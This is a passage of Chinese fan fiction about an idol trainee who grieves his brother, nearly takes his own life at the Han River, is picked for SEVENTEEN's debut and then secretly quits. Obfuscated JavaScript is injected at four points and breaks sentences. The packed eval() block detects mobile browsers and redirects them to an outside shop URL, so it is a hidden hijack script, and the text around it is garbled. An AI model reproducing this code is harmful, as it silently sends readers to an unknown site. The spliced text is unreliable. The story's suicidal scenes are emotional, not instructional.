他维持着那个姿势，在弟弟的墓前，从午后一直待到夜幕彻底降临。雨已经不再下，四周死寂一片，只有远处零星的路灯，投下昏黄的光晕。 身体冻得麻木，心脏的位置却像是被彻底掏空了，只剩下一个呼呼漏着冷风的黑洞。 他摇摇晃晃地站起来，腿脚发麻，几乎摔倒。最后看了一眼那小小的石碑和照片，他转过身，深一脚浅一脚地离开墓地。 去哪里？不知道。 家？金侑一哪还有家？ P社？那个有光的地方吗？可那光从未真正照耀过他，现在更是显得遥远而讽刺。 他像一具被抽走了灵魂的空壳，在首尔冰冷璀璨的夜色里漫无目的地游荡。 高楼大厦的霓虹倒映在潮湿的路面上，破碎而迷离。车流如织，人声隐约，一切都和他隔着一层厚厚的屏障。 不知走了多久，他来到汉江边。江水在夜色中黑沉沉地流淌，对岸的灯火连成一片虚假的星河。江风很大，吹得他湿透的衣服紧贴在身上，刺骨地冷。 他靠近栏杆，手扶上去，铁质的冰凉顺着掌心蔓延。江面宽阔，深不见底。 他忽然冒出一个可怕的念头： 他死了会怎么样呢？ 跳下去，一切就都结束了。所有的一切，都会被这冰冷的江水吞没，归于寂静。 多么简单。多么轻松。 他闭上眼睛，身体前倾。江风呼啸着掠过耳畔，像无数亡灵在低语邀请。 就在他的重心即将越过栏杆的那一刻—— “侑一。” 一个声音在他身后响起，不高，甚至有些平淡，却像一颗小石子，突兀地投进他一片死寂的心湖。 金侑一浑身一颤，前倾的动作僵住了。他没有回头，只是默默收了动作，看起来似乎只是在迎风休憩。 脚步声靠近，停在他身边。来人似乎也靠在了栏杆上，和他并排望着黑沉沉的江面。 “一天没见你，怎么搞成这个样子？”来人语气明显担忧，听着喘息似乎是小跑过来的，“我们宿舍离这儿不远，需要我带你回去换洗吗？” 金侑一缓缓转过头。 是洪知琇，Joshua。他没穿训练服，只是一件普通的深色连帽卫衣，帽子松松地扣在头上，遮住了部分眉眼。 他手里拿着两罐刚从自动贩卖机买的咖啡，贴心递了一罐给金侑一。 “热的，暖暖身子。别着凉了。”Joshua说，见金侑一摇头不接，直接把咖啡罐贴在他扶着栏杆的手背上。 温热的触感让金侑一瑟缩了一下，但他没有接，也没有动。 Joshua也不在意，自己拉开拉环，喝了一口，然后也望着江面，沉默了一会儿。 “侑一，到底发生什么事了？今天也没在练习室见到你。”Joshua开口，声音在江风中显得有些模糊，“应该不是因为昨天的练习吧，明明你表现得很好。” 金侑一的指尖猛地收紧，掐进掌心。 “不是。我刚打工的时候不小心打翻了一桶水。”他眼角偷偷地溢出泪珠，但也还保持着声线的稳定，“你知道我有个弟弟，今天就是特定请假回去看他，那小子，最近又长高了一大截。” “是吗？”Joshua笑得眉眼弯弯，他顿了顿，又继续道，“虽然这话没什么用，但我还是蛮羡慕你的。” “为什么？”金侑一扯了扯嘴角，一个近乎痉挛的弧度。他那里需要他羡慕？ “我小时候，”Joshua忽然换了话题，语气依旧平淡，像在讲别人的事，“妈妈也说过想给我生个弟弟妹妹，但那时候我怕他们会分走父母对我的爱。于是我闹了三天，才阻止了我妈的想法。” 金侑一终于微微侧过头，看了他一眼。李志勋的侧脸在远处灯光的映照下，显得格外沉静，甚至有些冷漠。 “现在呢？”金侑一问，声音嘶哑得不成样子。 Joshua喝了一口咖啡。“很后悔。离开家那么久，我连一句问候都没机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976266|193505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会说，更别说他们在那边过得好不好。” “我是背着家里人来这里做练习生的，你还不知道吧？” 男孩的话说得近乎儿戏。金侑一愣住了。 Joshua转过头，看向他。帽檐下的眼睛，在昏暗的光线里，依旧很亮，带着一种近乎残酷的清醒。 “那时候他们不同意我离开家，更别说来韩国。但我就是想做练习生，我就是想来韩国，于是，就像孩子们那样说的，被‘绑’来首尔了。哈哈哈。” “我在这里什么都没有。什么人也不认识。侑一，我也后悔过。我也觉得自己是没苦硬吃。但我还是想留下来。” “那些淳朴又善良的孩子，我从未见过。” 他指了指金侑一手里那罐咖啡：“拿着。相信我，你会需要它。你可能遇到了什么困难，因为脸色瞧着就不是很好。喝完咖啡然后想想，你还有什么没做完的事。哪怕只是想想明天早上吃什么。” 说完，Joshua直起身，拍了拍他的肩膀，力道不重。“从来到这里开始，我就把你们都当做了家人。我极力融入你们，我离不开你们。” “那么明天见吧，我们侑一。” Joshua离开了。脚步声不疾不徐，很快消失在江边的夜色里，仿佛从未出现过。 金侑一僵在原地，手里还捏着那罐温热的咖啡。Joshua的话，像一阵怪风，吹散了他刚才聚集起来的死意，却又留下更深的茫然和空洞。 “明天……见吗……” “家人吗？” 金侑一笑出声，他这样的人哪有什么资格成为别人的家人啊。 他低头看着手里那罐咖啡。铝制的罐身在路灯下反射着微弱的光。冰凉的触感从指尖传来，丝丝缕缕，渗入麻木的神经。 可如果他死了，练习室里那些孩子们又会怎么办呢？ “明天见。我们侑一。” Joshua的声音在耳边回响。 江风依旧冷冽，但似乎没有刚才那么刺骨了。对岸的灯火依旧虚假，却也不再显得那么遥不可及。 他慢慢地，慢慢地，拉开了咖啡罐的拉环。“嗤”的一声轻响，在寂静的江边格外清晰。金侑一仰头，灌了一大口。 温暖又苦涩的液体滑过喉咙，带来一阵尖锐的刺激，却奇异地让他混沌的头脑清醒了一瞬。 明天早上吃什么？ 他不知道。 但他还站在这里，手里有一罐咖啡，身体还能感觉到冷和疼。 Joshua啊…… 金侑一闭上眼。 咖啡真的苦。 _ 金侑一直起身，后退两步，将那罐咖啡一饮而尽。苦涩的液体划过喉咙，像咽下一口碎玻璃。 他转过身，背对着黑沉沉的汉江，沿着来时的路一步一步往回走。身影在路灯下拉得细长，像个随时会散架的傀儡。 但他确实在往回走。 回到那个只有可怜悲剧的地方。回到那个耗尽了他所有力气的P社。 9. 金岷奎 金侑一需要什么？不是希望，不是爱，也不要Joshua出于善良的安慰。 他现阶段最需要的，是时间。 如果时间没有带走他心中那点“后悔”和“恨”，那么他就得为了一些无意义的过错而服刑。 所以金侑一作为这些情绪的载体，他得活着。哪怕，只是像一具行尸走肉。 汉江边的咖啡带来的新生没有来得那么快，金侑一像一台程序错乱后又被强行重启的机器，掺着滞涩，重新投入既定的轨道。 回到P社，他变得更加沉默，几乎到了失语的程度。清洁工作依旧一丝不苟，但那双总是低垂的眼睛里，只剩下两潭深不见底的死水。 练习生们起初试图安慰，但在他近乎漠然的反应前，所有话语都显得苍白无力，最终只剩下小心翼翼的眼神和刻意的回避。 那还有人和金侑一亲近吗？有的。崔胜徹就会偶尔在他独自打扫时，放下两盒牛奶或即食饭团。 尹净寒则会在他又一次因为低血糖或过度疲劳而脚步虚浮时，不动声色地伸手扶一把，然后温柔细语开导他一两句。虽然他清楚，他不会听。 金侑一接受这些微小的施舍，如同接受命运本身的嘲弄。他没有说谢谢，只是微微点头，动作僵硬。 他将所有收到的食物和能量补充剂，连同自己那点可怜的工资，一起塞进一个破旧的铁盒里——那是弟弟在贤以前用来存硬币的。 盒子很轻，里面的东西和他的生命一样，单薄得可怜。 练习越来越疯狂，越来越空虚。他依旧是最早来，最晚走的那一个，对着镜子重复枯燥的基础训练，直到身体发出不堪重负的呻吟。 汗水浸透训练服，滴落在地板上，很快又被他自己擦拭干净。可金侑一的眼神是散的，没有焦距那样，仿佛灵魂早已抽离，只留下一具依靠本能和执念驱动的躯壳。 他唱歌时，声音里不再有之前那种绝望的投入感，只剩下一种机械般磨损的沙哑。就连现在的跳舞，动作也失去了先前的生气，像个滑稽的提线木偶。 声乐老师有一次在走廊叫住他，眉头紧锁：“金侑一，你的声音怎么回事？之前那股劲儿呢？你现在唱的是什么？木头吗？” 金侑一停下脚步，低着头，没有说话。 那股“劲儿”？随着弟弟一起被碾碎在车轮下了，被埋葬在冰冷的墓地里了。他现在还能站在这里，早已是不幸中的万幸。 老师看着他死气沉沉的样子，最终只是叹了口气，摆摆手：“算了，你去吧。” 月末评价，他意料之中地排在末尾，甚至比之前更差。评价表上除了各项不及格的分数，只有一句简短的评语：“没有先前积极。” 积极吗？要他积极吗？金侑一捏着那张纸，指尖冰凉。他笑了笑。他的积极性大概早就被抵押给了高利贷，随在贤去了另一个世界。又或者，在在贤出生那刻就灰飞烟灭了。 然而，命运似乎偏爱在最深的绝望里，施舍一点残忍的希望。 就在他行尸走肉般度过又一个月后，一个消息如同投入死水的巨石，在公司内部激起波澜：出道组的最终名单，似乎快要确定了。 更具体的小道消息是，公司计划推出一个大型男团，人数众多，需要各方面的人才，甚至可能需要一个能兼顾幕后，性格稳重且在某些特定情况下能派上用场的“粘合剂”型成员。 “粘合剂”。 这个词不知怎的，和金侑一的名字隐约联系在了一起。 起初只是零星的耳语，后来渐渐有目光开始重新打量他，带着好奇般地审视，以及一丝对于“可能性”的衡量。 连一直对他不假辞色的代表，最近见到他，皱起的眉头似乎也松开了些许，甚至有一次含糊地说：“好好干，最近上面好像有人问起你。” 金侑一听到这些，心里没有任何波澜。 出道？站在舞台上？ 那些曾经灼烧过他，让他痛并渴望着的画面，如今却像隔着一层毛玻璃看的旧电影。 他甚至觉得有些可笑。他们需要的，真的是“金侑一”吗？还是仅仅需要一个又听话又能吃苦的，还可以必要时牺牲的“零件”呢？ 然而，那植根于骨髓的，对“有用”和“被需要”的卑微渴望，还是驱使他做出了反应。 他主动揽下更多杂事，将中国line可能需要的生活帮助和语言翻译做得更细致，甚至在一次团体排练因设备故障中断时，默不作声地跑去储物间找来了备用零件和工具，虽然笨拙，但竟然真的帮着李志勋和崔胜徹把问题暂时解决了。 他的变化细微而缓慢，但在有心人眼里，却是一种“状态调整”和“服从性提高”的信号。 终于，在一个飘着细雪的下午，金侑一被叫到了那间他只在入社时踏入过的社长办公室。 办公室里很暖和，空气中飘浮着淡淡的咖啡香，但金侑一只觉得冷，从骨头缝里渗出来的冷。 “金侑一练习生，”社长开口，声音平稳，听不出情绪，“你在公司的时间不短了。各方面的评价，我们都有所了解。” 金侑一垂手站立，没有说话。 “你家庭的事情，公司也听说了。”社长的语气里似乎有一丝极淡的同情，“节哀。年轻人，要向前看。” 向前看？看什么？ 金侑一盯着脚下深色的地毯花纹。 “公司即将推出新男团，SEVENTEEN。你知道的。”社长顿了顿，“出道组的竞争很激烈。但是，一个团队需要不同特质的人。你的坚持，你的韧性，还有你在处理一些琐事方面的表现，我们都看在眼里。” 金侑一的心跳，极其缓慢地，沉重地搏动了一下。 “经过综合评估，”社长的声音清晰起来，“公司决定，将你纳入SEVENTEEN的最终出道名单。作为vocal队的一员。” vocal队。出道名单。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976267|193505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这几个字像冰锥，凿进金侑一的耳膜。 没有预想中的狂喜，没有激动，甚至没有一丝暖意。只有一种巨大的病态感和随之而来的疲惫。 他张了张嘴，发现喉咙干涩得发不出声音。社长似乎将他的沉默当成了震惊和不知所措，语气缓和了些：“当然，这还只是初步决定。接下来会有密集的出道前培训和综艺录制。你的基础还需要加强，但团队会帮助你。” 他加重了语气：“重要的是，抓住这个机会。这不仅是你个人的机会，也是对整个团队的补充。明白吗？” 金侑一抬起眼，看向社长。社长的脸上带着一种不容置疑的神情。他明白了。 他是一枚被选中的棋子，不是因为多么出色，而是因为刚好能填补某个不起眼却必要的空缺。 “……明白。”他终于找回了自己的声音，嘶哑，平静得可怕。 “很好。”社长满意地点点头，“具体安排，经纪人会通知你。出去吧。” 金侑一鞠躬，转身，拉开厚重的木门。走廊里的空气比办公室里更冷。他一步一步往前走，脚步声在空旷的走廊里回响。 出道了。 Unie终于出道了。 消息很快传开。练习生们的反应各异。崔胜徹找到他，用力拍了拍他的肩膀，眼神复杂，最终只说了一句：“要加油啊，我们侑一。” 夫盛宽兴奋地搂住他的脖子：“哇！侑一哥！我们真的要一起出道了！” 权纯永和李璨围着他叽叽喳喳，说着恭喜和期待。徐明皓和文俊晖激动地拉着他的手，表达着高兴。 李志勋只是看了他一眼，点了点头。 尹净寒站在稍远的地方，脸上没什么表情，目光却在他身上停留了片刻。 金侑一接受着这些或直接或含蓄的认可，脸上勉强挤出的笑容僵硬而短暂。 他像个突然被推到舞台中央的替身演员，手足无措，内心一片荒芜。 “侑一哥，回去好好休息！过两天录节目再见！”权纯永用力挥手。 “别忘了我们约好要一起玩雪的！”夫盛宽喊道。 李璨跑过来抱了他一下：“哥，你今天好像都没怎么休息，我们去录制的时候好好玩玩！” 其他人也纷纷说着再见，约定着不久后的见面。 金侑一看着他们一张张充满生气的脸，点了点头，脸上浮起一个真诚的笑容。“嗯，再见。”他说。 他的目光最后和李志勋对上。李志勋看着他，那双总是冷静的眼睛里，似乎有一丝极细微的波动，但很快归于平静。但他什么也没说，只是微微颔首。 真正的“机会”很快到来。公司宣布，为了预热和积累人气，SEVENTEEN全员将参与一档出道实录综艺的拍摄。 拍摄地点选在了首尔近郊的一个度假村，为期三天两夜。内容无非是展现团队默契、个人才艺、生活日常以及一些刻意安排的有趣挑战和温情时刻。 10. 徐明皓 出发那天，天空十分阴沉。金侑一背着那个洗得褪色的旧背包，里面只装了几件换洗衣物和洗漱用品，默默跟在队伍最后上了大巴车。 车上很热闹，少年们对首次集体外出拍摄充满新鲜感和兴奋，你说我笑的，玩累了靠着睡会儿，醒来又继续耍闹。 金侑一缩在靠窗的角落，看着窗外飞速倒退的灰蒙蒙的街景，将自己隔绝在喧嚣之外。 度假村比想象中清静。西边是大片绿树林，院里的草坪整整齐齐，房屋是旧时田园风格。 分配房间时，金侑一恰好和尹净寒分到了一间。尹净寒和他待在一起话有些少，可能是因为金侑一看起来不好交流，他只是简单收拾了自己的东西，便坐在床上，拿出带着的mp3听歌。 金侑一也沉默地整理着自己寥寥无几的物品，房间里安静得只能听到衣物蹭过衣物的沙沙声。 拍摄开始了。黑洞洞的镜头像一只只冷静的眼睛，被盯得浑身不适的金侑一只能竭力让自己融入。 在个人才艺展示时，他唱了一首练习过无数遍的《Back》，动听却不动人，金侑一望着极力赞扬他的成员们，笑笑没出声。 在需要互动和制造笑料的时刻，金侑一又僵硬得像块木头，往往需要队友刻意 cue 他，才能勉强挤出一两句干巴巴的回应。 他像个局外人，笨拙地模仿着“队友”应有的样子。镜头扫过他时，他总会下意识低下头或者不自然地移开视线。 只有在帮助文俊晖和徐明皓理解某些复杂的游戏规则或韩语梗时，他才会流露出一点点自然的专注，但那也很快被镜头捕捉后的不自在所取代。 第二天晚上，按照台本，有一个“真心话夜谈”环节。大家围坐在度假别墅客厅的壁炉前，暖色的灯光营造出温馨的氛围。 话题从练习生的辛苦，到对出道的憧憬，再到彼此的初印象和感谢。 轮到金侑一时，好几道目光落在他身上。他握着手里微温的饮料罐，指尖收紧。 “我……”他开口，声音在安静的客厅里显得格外清晰，格外干涩，“没什么好说的。”这句声音很小，几乎没人听清。 他顿了顿，避开那些目光，“能和我们成员一起站在这里，已经很好了。” 很官方，很刻意，甚至有些扫兴。导演在镜头后示意继续，话题很快被活泼的夫盛宽和李璨引开，气氛重新活跃起来。 金侑一悄悄松了一口气，却又感到一阵更深的虚无。他说的不是假话，能站在这里，对他而言，确实已经像是一个不真实的梦。 可梦里的他，依旧是个孤魂野鬼。 拍摄结束，大家各自回房。金侑一走到别墅外的露台上，他想透口气。 雪不知道什么时候又下了起来，细小的雪粒在夜空中无声飘洒，落在肩上没一会儿便很快融化，留下一点冰凉的湿意。 远处的山峦和近处的树丛都蒙上了一层薄薄的银白，在夜色中泛着微光，是很安静的环境，比屋内那种刻意营造的温馨热闹要真实得多。 “不冷吗？” 尹净寒的声音在身后响起。他不知何时也走了出来，倚在门边，手里拿着两罐热饮，递过来一罐。 金侑一接过，是热牛奶。香甜的热气透过罐壁萦绕在鼻尖，打湿了他的心尖。 “谢谢。”他低声说。 尹净寒没说话，也看向外面的雪景。两人并肩站着，沉默在雪夜中蔓延。 过了一会儿，尹净寒忽然轻声说：“你有这种感觉吗？有时候，你不像个爱豆，像个活在别人世界的影子。” 金侑一身体几不可察地一僵。 “不是不好的意思。”尹净寒的语气依旧平淡，“就是觉得，你好像总是站在光和热闹的背面。自己一个人。”他顿了顿，“马上就出道了，也还是这样吗？” 金侑一握着热牛奶罐，温热的触感却暖不进心里。 他该怎么回答？ 他真的无解。 终末，金侑一只是摇了摇头，声音低得几乎被雪落的声音掩盖：“不知道。” 尹净寒看了他一眼，没再追问。他喝了一口自己的热饮，呼出的白气在寒冷的空气中迅速消散。 “雪挺好看的。”他忽然说，“就是化的时候有点脏。早点休息。晚安。” 说完，尹净寒拍了拍金侑一的肩膀，转身回了屋里。 金侑一独自站在露台上，雪渐渐下得大了些，绒毛般的雪絮像凝聚的热流，一点点带走手里牛奶的温度。 他望着这纯洁宁静的世界，心里那口井水冰冷刺骨，映不出丝毫雪光。 综艺拍摄的最后一天，安排了自由活动和最后一场集体雪仗作为收官镜头。 这天天气很好，晴空万里，积雪松软，阳光照在雪地上，反射着耀眼的金光，晃得他眯起眼。 少年们很快在度假村空旷的草坪上嬉闹起来，团雪球，打雪仗。你追我赶，笑声和叫喊声打破着冬日的寂静。 金侑一没有加入。他站在一棵枝丫上积着雪的树下，远远看着。风过时，带着雪落在头顶，像长出的白发。 看着崔胜徹被权纯永和李硕岷联手“偷袭”，看着夫盛宽灵巧地躲避着攻击，看着文俊晖和徐明皓滚在地上互扯衣角，看着李志勋被李璨撒娇拉着加入战局，看着尹净寒笑着在一旁“煽风点火”…… 孩子们鲜活得像一团熊熊的火焰，在这冰天雪地里恣意燃烧。 而他，金侑一，是离热源最远的那个“不知福”的家伙。寒冷早已侵入骨髓，连靠近的欲望都变得微弱。 一个雪球意外地飞过来，砸在他脚边，溅起细碎的雪沫。是玩疯了的李璨，看到他，立刻笑着招手：“侑一哥！快来啊！一起玩！” 金侑一看着李璨冻得通红却灿烂无比的笑脸，看着其他闻声也看过来的笑脸，当那些邀请的目光纳入视野，心脏像是被什么东西轻轻攥了一下，又酸又涩。 他弯下腰， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976268|193505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从地上捧起一捧雪。雪很冷，冷得刺痛掌心。他用力捏了捏，雪在他手里发出细微的咯吱声，勉强聚拢成一个不成形的雪团。 他直起身，手臂抬起，做出了一个投掷的姿势。目光，却越过了嬉闹的人群，越过了积雪的草坪和树丛，望向了更远的地方。 那里，是首尔的方向。 首尔有什么？当然有冰冷的汉江，有被雪覆盖的墓陵公园，有最好吃的炒年糕，也有永远还不清的高利贷账单，有P社那间永远需要打扫的练习室，有社长办公室里冰冷的“决定”，还有……未出道的Unie。 手臂缓缓垂下，那个松散的雪团从他指间滑落，无声地砸在脚下的雪地里，碎成一片。 他转过身，背对着那片阳光下的欢笑和追逐，沿着来时的路，一步一步，离开了草坪。 雪很厚，踩上去发出沉闷的声响。阳光照在他身上，却投不下温暖的影子。 他走得很慢，却异常坚定。 雪在脚下发出沉闷而空洞的声响，每一声都像是从他胸腔里挤压出来的。 金侑一没有回头，一步一步，将那片阳光下的喧嚣抛在身后。雪花又开始飘落，悄然落在他肩头，迅速融化并渗进那件单薄外套的纤维里。 他感觉不到冷，或者说，这寒冷早已浸透了他的骨髓，与此刻的心境融为一体。 他走向度假村里最僻静的一处公用电话亭。玻璃上蒙着一层雾气，里面空空荡荡。 他走进去，关上门，狭小的空间将风声和远处隐约的笑闹声隔绝在外，只剩下自己有些急促的呼吸声在耳边放大。 他从口袋里掏出几张零钱，又摸出那张被他保存了很久却从未拨打过的名片——社长秘书室的直线电话。 手指在冰冷的数字按键上停顿了几秒，然后，以一种近乎决绝的力度，按了下去。 电话接通得很快。他报上名字，声音平静得连自己都感到陌生。 “关于出道综艺，我的部分，”他对着听筒说，目光落在电话亭玻璃外积蓄的雪被上，“我有一个请求。” 电话那头的人似乎有些意外，语气公事公办：“请说。” “最终播出的版本……能不能尽量删减掉我的镜头？或者，淡化我的存在。”他顿了顿，补充道，“就说我因为个人原因，状态不佳，不适合过多曝光。这对团队形象更好。” “您知道的，我因为弟弟的事最近状态不怎么好，我不想因为我自己，拉低了团队的曝光量。” 那边沉默了更长时间，似乎在权衡，又似乎在请示。 过了一会儿，声音重新传来，带着一丝不易察觉的如释重负：“金侑一，你的请求我和公司会考虑的。我们会和导演组沟通，在剪辑上做适当处理。具体细节，等拍摄全部结束后再定。” “好。”金侑一挂了电话。金属听筒磕回原位，发出清脆的撞击声，在狭小的空间里回荡。 他扯了扯嘴角，一个没有温度的弧度。 11. 夫盛宽 这样也好。省得他那张死气沉沉的脸，坏了SEVENTEEN出道时该有的温馨画面。 接着，他拨通了第二个电话。这次是直接打给社长本人。等待接通的忙音像一下下敲打在他的神经上，怵得慌。 没过多久，电话被接起，社长低沉的声音传来。金侑一深吸一口气，那口气吸进去，肺叶顿时凉得发疼。 “社长，是我，金侑一。”他的声音依旧平稳，甚至比刚才更加清晰，“关于SEVENTEEN的出道，我考虑了很久。我……决定退出。” 电话那头是长久的沉默，几乎能听到电流细微的滋滋声。然后，社长的声音响起，听不出喜怒：“理由？” “家庭原因。”金侑一说出了早已准备好的的说辞，“我家里情况特殊，又因为发生了一些事，我努力做过调整，但最近的状态真的特别不好。” 他顿了顿，声音低下去，带上了疲惫的歉意，“我很抱歉，在这个关键时刻做出这样的决定。但我继续留下，恐怕只会成为团队的负担。退出，对大家都好。” 又是一阵沉默。社长似乎在评估他这番话的真实性以及这个突发状况可能带来的影响。 最终，社长的声音传来，比刚才缓和了一些，但依旧带着上位者的审慎：“金侑一，公司培养你，也给了你机会。出道在即，你的退出，会造成不小的麻烦。” “我知道。非常抱歉。”金侑一重复道，语气诚恳而卑微，“但我实在无法继续了。请社长理解。” “你的合约……” “我会按照违约条款处理。”金侑一迅速接上，“该赔偿的，我会尽力。”尽管他知道那笔违约金对他而言是天方夜谭，但此刻，这都不重要了。 社长并未即刻下裁断。 一个状态明显不佳甚至自己主动提出退出的练习生，强行留在即将出道的团队里，确实风险大于收益。 或许，他的退出，反而能让团队更“干净”，更能专注于未来。 “好吧。”社长终于开口，语气里多了一丝公式化的惋惜，“既然你坚持，那公司尊重你的决定。相关手续，回公司后再办理。至于综艺剪辑和对外说明，公司会妥善处理，尽量将对团队的影响降到最低。” “谢谢社长。”金侑一对着空气，深深地鞠了一躬，虽然对方看不到。 挂断电话，他靠在电话亭冰冷的玻璃壁上，缓缓吐出一口气。白雾在面前弥漫开，又很快消散。 事情比他预想的要顺利。他就像一个早已被标注为“瑕疵品”的货物，主动提出退货，对方在稍作姿态后，便欣然接受，甚至可能暗自庆幸。 也好。这样最好。 他推开电话亭的门，风雪立刻裹挟而来。他拉紧衣领，重新走进那片苍茫的白色世界。雪下得更大了，纷纷扬扬，仿佛要掩盖世间一切痕迹。 回到录制别墅时，最后的雪仗已经接近尾声，导演正在指挥拍摄一些收尾的温情镜头。 少年们头发和肩膀上都沾着雪，脸颊冻得通红，却洋溢着发自内心的笑容。 没有人注意到他的短暂离开和重新出现，除了尹净寒。 那人站在人群稍远的地方，目光淡淡地扫过他，停留了一瞬，然后移开，什么也没说。 拍摄正式结束前某天。金侑一以家里有急事为由，向带队经纪人简单报备，鉴于他已提交退出申请，且“家庭原因”早已是公开的标签，经纪人并未多问，只叮嘱他注意安全，后续手续回公司再办。 他默默收拾了那个旧背包，在黎明前最黑暗的时刻，独自坐上最早一班返回首尔的巴士。车厢空荡，暖气不足。 他看着窗外飞速倒退的田野和山峦，心里一片麻木的平静。退出的话已经说出口，仿佛卸下了一块巨石，又仿佛挖空了心脏。 未来像车窗外模糊的景色，看不真切分毫，但他强迫自己去想：先安顿母亲。用他最后攒下的一点钱，找一个远离首尔的小地方，租个干净的单间，把她接过去。 也许可以找一份不需要暴露在镜头下的工作。便利店，仓库管理员，什么都好。休养生息，慢慢来。把身体养好，一点点还债。 也许，只是也许，在很久以后，他能重新捡起对音乐的那点喜欢，仅仅作为爱好，在无人的时候，哼唱两句。 SEVENTEEN的亲故们那时应该就走上星光大道，拿着无数大赏，功成名就吧。 微弱的“以后”，像黑暗车厢里一簇飘摇的烛火，支撑着他熬过漫长而寒冷的路程。 走过汉江的时候，冷风灌进喉咙。金侑一抓着栏杆的手指节发白，身体前倾的重量几乎要将他拖入那片黑沉沉的江水。 Joshua那句“明天见，我们侑一”像根细针，扎进他麻木的神经末梢。 他盯着江面看了很久，直到眼睛刺痛。然后他低下头，从口袋里摸出那个旧铁盒。打开来，里面除了零钱和褪色的糖果，还有一张折成小方块的纸。 是弟弟在贤的最后一篇日记，老师整理遗物时交给他的。字迹歪歪扭扭，有些字还用拼音代替： 「今天又被他们堵在厕所了。腿很疼。但我不怕，因为哥哥说他会保护我。哥哥很累，总是很晚回来，身上有药味。我希望哥哥不要那么累，我希望哥哥能开心一点。哥哥答应过我，要好好的。」 最后的“好好的”三个字，描得很重，墨水几乎透到纸背。 金侑一把那张纸贴在胸口，冰冷的纸张下，心脏缓慢而沉重地跳动。 一次，两次，三次。 他闭上眼睛，在贤的声音仿佛就在耳边，带着孩子气的认真：“哥，你要好好的。” 好好的。 他慢慢站起身，把铁盒收好，转身，朝着与江水相反的方向走去。脚步起初虚浮，然后渐渐稳了。每一步都像踩在刀尖上，但他在走。 他要活着。 至少在贤希望他将来“好好的”。 办理的手续过程中，金侑一和社长做了笔交易，男人帮他掩盖他退出的真相，而金侑一得答应他花一段时间陪着即将出道SEVENTEEN。 理由是： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976269|193505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金侑一不能影响他们正常出道。 重新出现在P社时，金侑一身上明显有了变化。他不再沉默，但不再像一具空壳。 他会在清扫时轻声哼唱练习生们正在排练的曲子，会在帮忙翻译中文后尝试多说几句问候，甚至会在全园佑又一次肠胃不适时，主动递上胃药，而不是等对方开口。 “侑一哥好像……不一样了？”一次休息时，文俊晖小声对徐明皓说。 徐明皓咬着能量棒，点头：“嗯，昨天还问我几个汉字怎么读来着。” 金侑一在走廊那头擦拭镜子，听见了。镜子里的人，脸色没有先前那么苍白，但眼底有浓重的阴影，但嘴角自然的弧度，笑得比先前任何一次都要真诚。 他在努力。努力吃饭，哪怕只是便利店打折的饭团；努力睡觉，哪怕总在凌晨惊醒；努力练习，哪怕身体总是在抗议；努力对弟弟的班主任说“谢谢关心”，对讨债的人说“再宽限几天”，对便利店老板娘说“天气冷了您多穿点”。 “好好的”这三个字就像一个咒语，或者一道枷锁。他笨拙地执行着，像一个刚学会走路的机器人，程序是“活下去，看起来像个人样”。 他甚至开始存钱。不是铁盒里那几枚硬币，而是真的去银行开了个账户，把打工攒下的为数不多的一点钱存进去。 密码设的是在贤的生日。 每次去ATM机查看那少得可怜的余额时，他会对着屏幕发呆几秒，想象着如果弟弟还在，这笔钱也许能给他买双新球鞋，或者报个他喜欢的绘画班。 崔胜徹有一次在练习室门口拦住他，盯着他看了几秒，然后说：“真的好多了。”不知道是在评价他的状态，还是别的什么。 金侑一笑着点点头，没说话。 冬天越来越深。街头的圣诞装饰亮起来，红红绿绿，喜庆得刺眼。金侑一打工的便利店也开始循环播放节日歌曲，欢快的旋律在暖气不足的店里显得格外突兀。 那平安夜的傍晚，雪下得很大。 金侑一刚结束P社的清扫，正准备去便利店上晚班。手机响了，是母亲。 电话那头的声音异常清晰，甚至有些亢奋：“侑一啊！使者说，明天就是‘大净化之日’！我们要去山上参加仪式！你回来！跟我一起去！这是最后的机会了！” 金侑一握着手机，指尖冰凉。 “妈，我晚上要打工。” “打工？打什么工！末日都要来了！钱有什么用！你快回来！”母亲的声音尖利起来，带着那种令人不安的狂热。 “妈……”他还想说什么，电话已经被挂断了。 